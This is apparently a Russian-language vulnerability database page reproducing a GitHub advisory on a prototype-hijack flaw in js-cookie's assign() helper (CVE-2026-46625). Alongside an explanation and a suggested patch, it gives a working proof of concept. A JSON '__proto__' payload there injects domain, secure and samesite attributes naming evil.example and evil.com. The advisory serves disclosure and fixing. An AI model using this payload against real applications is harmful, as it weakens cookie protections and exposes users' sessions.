GHSA-qjx8-664m-686j

Опубликовано: 21 мая 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target }

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);

Execution: cls-2026-05-14-01 44 39

Suggested patch

--- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] }

Ссылки

Пакеты

Наименование

js-cookie

npm

Затронутые версииВерсия исправления

<= 3.0.5

3.0.7

EPSS

Процентиль: 35%

0.00432

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-46625

Дефекты

CWE-1321

Связанные уязвимости

CVE-2026-46625

CVSS3: 7.5

ubuntu

около 2 месяцев назад

JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0...